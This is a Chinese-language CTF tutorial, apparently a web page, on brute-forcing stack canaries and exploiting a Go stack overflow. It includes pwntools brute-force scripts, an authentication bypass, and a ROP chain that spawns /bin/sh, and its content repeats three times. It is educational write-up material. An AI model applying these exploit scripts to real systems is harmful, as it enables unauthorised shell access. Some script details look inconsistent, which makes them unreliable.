canary爆破||go栈溢出
字数 1161
更新时间 2025-12-30 12:33:07

Canary爆破与Go栈溢出技术详解

一、Canary爆破技术

1.1 Canary保护机制原理

Canary是一种栈保护技术,通过在栈帧中插入随机值来检测栈溢出攻击。关键特性:

  • 进程重启后Canary值不同
  • 同一进程内不同线程的Canary相同
  • fork()创建的子进程继承父进程的Canary值
  • 32位系统Canary通常4字节(末位为0x00)
  • 64位系统Canary通常8字节(末位为0x00)

1.2 爆破原理与条件

爆破可行性基于:

  1. 进程复用:子进程Canary与父进程一致
  2. 逐字节检测:Canary校验失败导致程序崩溃
  3. 状态反馈:通过程序是否崩溃判断字节是否正确

1.3 实战案例一:ezcanary

漏洞代码分析

int __fastcall main(int argc, const char **argv, const char **envp) {
    char s[88];
    unsigned __int64 v5 = __readfsqword(0x28u);  // Canary值
    
    do {
        if (!fork()) {  // 创建子进程
            read(0, s, 0x100u);  // 栈溢出漏洞
            return 0;
        }
        wait(0);
        read(0, s, 0x100u);
    } while (strcmp(s, "cat flag\n"));
    
    return 0;
}

爆破脚本编写要点

from pwn import *

def brute_force_byte(canary_so_far):
    for i in range(256):
        payload = b'a' * (0x60-8) + canary_so_far + p8(i)
        io.sendafter('提示符', payload)
        
        if b"stack smashing" not in io.recvline():
            return canary_so_far + p8(i)  # 爆破成功
    
    return None  # 爆破失败

def exploit():
    canary = b'\x00'  # 从末位0x00开始
    for i in range(7):  # 64位系统爆破7字节
        canary = brute_force_byte(canary)
    
    # 构造ROP链
    payload = b'a' * (0x60-8) + p64(canary) + b'a'*8 + p64(getshell_addr)
    io.send(payload)
    io.interactive()

1.4 实战案例二:2023ciscn初赛

关键挑战

  1. 数据接收处理:避免接收数据重复和判断错误
  2. 进程状态管理:确保每次爆破在干净状态进行
  3. 边界条件处理:正确处理爆破失败的重试逻辑

改进的爆破脚本

def robust_brute_force():
    canary = b'\x00'
    for byte_index in range(7):
        for byte_value in range(256):
            payload = b'a'*0x68 + canary + p8(byte_value)
            io.send(payload)
            
            # 关键:确保接收状态重置
            response = io.recvuntil("\n", timeout=1)
            if b"stack smashing" not in response:
                canary += p8(byte_value)
                io.recvuntil("welcome\n")  # 重置状态
                break
    return canary

二、Go语言栈溢出技术

2.1 Go语言特性分析

类型系统特点

// 基本类型
var a int
var b string  // 实际为stringStruct{str *byte, len int}
var c bool

// 引用类型
var d []byte    // slice结构体
var e map[string]int
var f chan int

// 接口类型
var g interface{}  // eface{_type *_type, data unsafe.Pointer}
var h io.Writer    // iface{tab *itab, data unsafe.Pointer}

内存布局关键点

  • 字符串:16字节(8字节指针 + 8字节长度)
  • 切片:24字节(8字节数组指针 + 8字节长度 + 8字节容量)
  • 接口:16字节(类型信息 + 数据指针)

2.2 shellwego题目分析

认证绕过技术

# 认证命令格式
cert nAcDsMicN S33UAga1n@#!

# 逆向分析过程
1. 命令解析:cert为命令前缀
2. 参数验证:nAcDsMicN为固定验证字符串(注意小端序)
3. 密码解密:RC4解密S33UAga1n@#!得到认证密钥

RC4+Base64解密脚本

import base64
from Crypto.Cipher import ARC4

def decrypt_password(encrypted_b64):
    key = b"F1nallB1rd3K3y"
    
    # Base64解码
    encrypted = base64.b64decode(encrypted_b64)
    
    # RC4解密
    cipher = ARC4.new(key)
    decrypted = cipher.decrypt(encrypted)
    
    return decrypted

# 实际解密过程
original_password = decrypt_password("JLIX8pbSvYZu/WaG")

2.3 栈溢出漏洞利用

漏洞触发点分析

// 伪代码表示漏洞函数
func processCheck(input string) {
    var buffer [0x230]byte
    // 存在栈溢出漏洞的复制逻辑
    for i := 0; i < len(input) && i < 0x400; i++ {
        if input[i] != '+' {
            buffer[i] = input[i]  // 栈溢出点
        }
    }
}

利用技术要点

  1. 长度控制:输入长度超过缓冲区大小但小于0x400
  2. 字符绕过:使用'+'字符跳过敏感位置写入
  3. ROP构造:利用Go语言的gadget构造利用链

完整利用脚本

from pwn import *

# Gadget地址
pop_rdi = 0x444fec
pop_rsi = 0x41e818  
pop_rdx = 0x49e11d
pop_rax = 0x40d9e6
syscall = 0x40328c

def exploit():
    io = process('./shellwego')
    
    # 认证绕过
    io.sendlineafter('$ ', 'cert nAcDsMicN S33UAga1n@#!')
    
    # 构造溢出payload
    payload = b'echo ' + b'a'*0x100  # 填充缓冲区
    payload += b'a'*0x104           # 覆盖到返回地址
    payload += b'+'*8               # 跳过敏感位置
    payload += p64(0xdeadbeef)*3    # 填充
    
    # ROP链
    payload += p64(pop_rdi) + p64(0)
    payload += p64(pop_rax) + p64(0)
    payload += p64(pop_rsi) + p64(0x59FE70)
    payload += p64(pop_rdx) + p64(20)
    payload += p64(syscall)
    
    payload += p64(pop_rax) + p64(59)  # execve系统调用号
    payload += p64(pop_rdi) + p64(0x59FE70)  # "/bin/sh"地址
    payload += p64(pop_rsi) + p64(0)
    payload += p64(pop_rdx) + p64(0)
    payload += p64(syscall)
    
    io.sendlineafter('# ', payload)
    io.send(b"/bin/sh\x00")
    io.interactive()

2.4 2025PCTF题目进阶技巧

defer机制利用

func vulnerableFunction() {
    var buffer [0x100]byte
    // defer函数在返回时执行,但参数在声明时确定
    defer checkBuffer(buffer)  // 参数在此时复制
    
    readInput(buffer)  // 栈溢出修改buffer
    // defer执行的checkBuffer检查的是原始buffer副本
}

利用要点

  1. 时机把握:defer参数在声明时确定,但执行在函数返回时
  2. 绕过检查:溢出修改实际缓冲区,但defer检查的是原始副本
  3. 寄存器操作:Go语言的ROP需要特殊的寄存器操作技巧

三、技术总结与防御建议

3.1 Canary爆破防御

  1. 随机化增强:使用更随机的Canary值生成算法
  2. 进程隔离:避免子进程继承Canary值
  3. 异常处理:崩溃时不留痕迹,增加爆破难度

3.2 Go语言安全开发

  1. 边界检查:严格验证所有输入长度
  2. 内存安全:使用安全的内存操作函数
  3. 接口安全:验证接口转换的安全性
  4. defer使用:注意defer参数的捕获时机

3.3 漏洞挖掘技巧

  1. 输入验证:重点关注长度验证缺失点
  2. 类型转换:注意接口类型转换的安全性
  3. 并发安全:检查goroutine间的数据竞争
  4. 标准库使用:审计第三方库的安全实现

本教学文档详细介绍了Canary爆破和Go栈溢出的核心技术,包括原理分析、实战案例和防御措施,为二进制安全研究提供了全面的技术参考。

Canary爆破与Go栈溢出技术详解

一、Canary爆破技术

1.1 Canary保护机制原理

Canary是一种栈保护技术,通过在栈帧中插入随机值来检测栈溢出攻击。关键特性:

  • 进程重启后Canary值不同
  • 同一进程内不同线程的Canary相同
  • fork()创建的子进程继承父进程的Canary值
  • 32位系统Canary通常4字节(末位为0x00)
  • 64位系统Canary通常8字节(末位为0x00)

1.2 爆破原理与条件

爆破可行性基于:

  1. 进程复用:子进程Canary与父进程一致
  2. 逐字节检测:Canary校验失败导致程序崩溃
  3. 状态反馈:通过程序是否崩溃判断字节是否正确

1.3 实战案例一:ezcanary

漏洞代码分析

int __fastcall main(int argc, const char **argv, const char **envp) {
    char s[88];
    unsigned __int64 v5 = __readfsqword(0x28u);  // Canary值
    
    do {
        if (!fork()) {  // 创建子进程
            read(0, s, 0x100u);  // 栈溢出漏洞
            return 0;
        }
        wait(0);
        read(0, s, 0x100u);
    } while (strcmp(s, "cat flag\n"));
    
    return 0;
}

爆破脚本编写要点

from pwn import *

def brute_force_byte(canary_so_far):
    for i in range(256):
        payload = b'a' * (0x60-8) + canary_so_far + p8(i)
        io.sendafter('提示符', payload)
        
        if b"stack smashing" not in io.recvline():
            return canary_so_far + p8(i)  # 爆破成功
    
    return None  # 爆破失败

def exploit():
    canary = b'\x00'  # 从末位0x00开始
    for i in range(7):  # 64位系统爆破7字节
        canary = brute_force_byte(canary)
    
    # 构造ROP链
    payload = b'a' * (0x60-8) + p64(canary) + b'a'*8 + p64(getshell_addr)
    io.send(payload)
    io.interactive()

1.4 实战案例二:2023ciscn初赛

关键挑战

  1. 数据接收处理:避免接收数据重复和判断错误
  2. 进程状态管理:确保每次爆破在干净状态进行
  3. 边界条件处理:正确处理爆破失败的重试逻辑

改进的爆破脚本

def robust_brute_force():
    canary = b'\x00'
    for byte_index in range(7):
        for byte_value in range(256):
            payload = b'a'*0x68 + canary + p8(byte_value)
            io.send(payload)
            
            # 关键:确保接收状态重置
            response = io.recvuntil("\n", timeout=1)
            if b"stack smashing" not in response:
                canary += p8(byte_value)
                io.recvuntil("welcome\n")  # 重置状态
                break
    return canary

二、Go语言栈溢出技术

2.1 Go语言特性分析

类型系统特点

// 基本类型
var a int
var b string  // 实际为stringStruct{str *byte, len int}
var c bool

// 引用类型
var d []byte    // slice结构体
var e map[string]int
var f chan int

// 接口类型
var g interface{}  // eface{_type *_type, data unsafe.Pointer}
var h io.Writer    // iface{tab *itab, data unsafe.Pointer}

内存布局关键点

  • 字符串:16字节(8字节指针 + 8字节长度)
  • 切片:24字节(8字节数组指针 + 8字节长度 + 8字节容量)
  • 接口:16字节(类型信息 + 数据指针)

2.2 shellwego题目分析

认证绕过技术

# 认证命令格式
cert nAcDsMicN S33UAga1n@#!

# 逆向分析过程
1. 命令解析:cert为命令前缀
2. 参数验证:nAcDsMicN为固定验证字符串(注意小端序)
3. 密码解密:RC4解密S33UAga1n@#!得到认证密钥

RC4+Base64解密脚本

import base64
from Crypto.Cipher import ARC4

def decrypt_password(encrypted_b64):
    key = b"F1nallB1rd3K3y"
    
    # Base64解码
    encrypted = base64.b64decode(encrypted_b64)
    
    # RC4解密
    cipher = ARC4.new(key)
    decrypted = cipher.decrypt(encrypted)
    
    return decrypted

# 实际解密过程
original_password = decrypt_password("JLIX8pbSvYZu/WaG")

2.3 栈溢出漏洞利用

漏洞触发点分析

// 伪代码表示漏洞函数
func processCheck(input string) {
    var buffer [0x230]byte
    // 存在栈溢出漏洞的复制逻辑
    for i := 0; i < len(input) && i < 0x400; i++ {
        if input[i] != '+' {
            buffer[i] = input[i]  // 栈溢出点
        }
    }
}

利用技术要点

  1. 长度控制:输入长度超过缓冲区大小但小于0x400
  2. 字符绕过:使用'+'字符跳过敏感位置写入
  3. ROP构造:利用Go语言的gadget构造利用链

完整利用脚本

from pwn import *

# Gadget地址
pop_rdi = 0x444fec
pop_rsi = 0x41e818  
pop_rdx = 0x49e11d
pop_rax = 0x40d9e6
syscall = 0x40328c

def exploit():
    io = process('./shellwego')
    
    # 认证绕过
    io.sendlineafter('$ ', 'cert nAcDsMicN S33UAga1n@#!')
    
    # 构造溢出payload
    payload = b'echo ' + b'a'*0x100  # 填充缓冲区
    payload += b'a'*0x104           # 覆盖到返回地址
    payload += b'+'*8               # 跳过敏感位置
    payload += p64(0xdeadbeef)*3    # 填充
    
    # ROP链
    payload += p64(pop_rdi) + p64(0)
    payload += p64(pop_rax) + p64(0)
    payload += p64(pop_rsi) + p64(0x59FE70)
    payload += p64(pop_rdx) + p64(20)
    payload += p64(syscall)
    
    payload += p64(pop_rax) + p64(59)  # execve系统调用号
    payload += p64(pop_rdi) + p64(0x59FE70)  # "/bin/sh"地址
    payload += p64(pop_rsi) + p64(0)
    payload += p64(pop_rdx) + p64(0)
    payload += p64(syscall)
    
    io.sendlineafter('# ', payload)
    io.send(b"/bin/sh\x00")
    io.interactive()

2.4 2025PCTF题目进阶技巧

defer机制利用

func vulnerableFunction() {
    var buffer [0x100]byte
    // defer函数在返回时执行,但参数在声明时确定
    defer checkBuffer(buffer)  // 参数在此时复制
    
    readInput(buffer)  // 栈溢出修改buffer
    // defer执行的checkBuffer检查的是原始buffer副本
}

利用要点

  1. 时机把握:defer参数在声明时确定,但执行在函数返回时
  2. 绕过检查:溢出修改实际缓冲区,但defer检查的是原始副本
  3. 寄存器操作:Go语言的ROP需要特殊的寄存器操作技巧

三、技术总结与防御建议

3.1 Canary爆破防御

  1. 随机化增强:使用更随机的Canary值生成算法
  2. 进程隔离:避免子进程继承Canary值
  3. 异常处理:崩溃时不留痕迹,增加爆破难度

3.2 Go语言安全开发

  1. 边界检查:严格验证所有输入长度
  2. 内存安全:使用安全的内存操作函数
  3. 接口安全:验证接口转换的安全性
  4. defer使用:注意defer参数的捕获时机

3.3 漏洞挖掘技巧

  1. 输入验证:重点关注长度验证缺失点
  2. 类型转换:注意接口类型转换的安全性
  3. 并发安全:检查goroutine间的数据竞争
  4. 标准库使用:审计第三方库的安全实现

本教学文档详细介绍了Canary爆破和Go栈溢出的核心技术,包括原理分析、实战案例和防御措施,为二进制安全研究提供了全面的技术参考。

Canary爆破与Go栈溢出技术详解 一、Canary爆破技术 1.1 Canary保护机制原理 Canary是一种栈保护技术,通过在栈帧中插入随机值来检测栈溢出攻击。关键特性: 进程重启后Canary值不同 同一进程内不同线程的Canary相同 fork()创建的子进程继承父进程的Canary值 32位系统Canary通常4字节(末位为0x00) 64位系统Canary通常8字节(末位为0x00) 1.2 爆破原理与条件 爆破可行性基于: 进程复用 :子进程Canary与父进程一致 逐字节检测 :Canary校验失败导致程序崩溃 状态反馈 :通过程序是否崩溃判断字节是否正确 1.3 实战案例一:ezcanary 漏洞代码分析 爆破脚本编写要点 1.4 实战案例二:2023ciscn初赛 关键挑战 数据接收处理 :避免接收数据重复和判断错误 进程状态管理 :确保每次爆破在干净状态进行 边界条件处理 :正确处理爆破失败的重试逻辑 改进的爆破脚本 二、Go语言栈溢出技术 2.1 Go语言特性分析 类型系统特点 内存布局关键点 字符串 :16字节(8字节指针 + 8字节长度) 切片 :24字节(8字节数组指针 + 8字节长度 + 8字节容量) 接口 :16字节(类型信息 + 数据指针) 2.2 shellwego题目分析 认证绕过技术 RC4+Base64解密脚本 2.3 栈溢出漏洞利用 漏洞触发点分析 利用技术要点 长度控制 :输入长度超过缓冲区大小但小于0x400 字符绕过 :使用'+'字符跳过敏感位置写入 ROP构造 :利用Go语言的gadget构造利用链 完整利用脚本 2.4 2025PCTF题目进阶技巧 defer机制利用 利用要点 时机把握 :defer参数在声明时确定,但执行在函数返回时 绕过检查 :溢出修改实际缓冲区,但defer检查的是原始副本 寄存器操作 :Go语言的ROP需要特殊的寄存器操作技巧 三、技术总结与防御建议 3.1 Canary爆破防御 随机化增强 :使用更随机的Canary值生成算法 进程隔离 :避免子进程继承Canary值 异常处理 :崩溃时不留痕迹,增加爆破难度 3.2 Go语言安全开发 边界检查 :严格验证所有输入长度 内存安全 :使用安全的内存操作函数 接口安全 :验证接口转换的安全性 defer使用 :注意defer参数的捕获时机 3.3 漏洞挖掘技巧 输入验证 :重点关注长度验证缺失点 类型转换 :注意接口类型转换的安全性 并发安全 :检查goroutine间的数据竞争 标准库使用 :审计第三方库的安全实现 本教学文档详细介绍了Canary爆破和Go栈溢出的核心技术,包括原理分析、实战案例和防御措施,为二进制安全研究提供了全面的技术参考。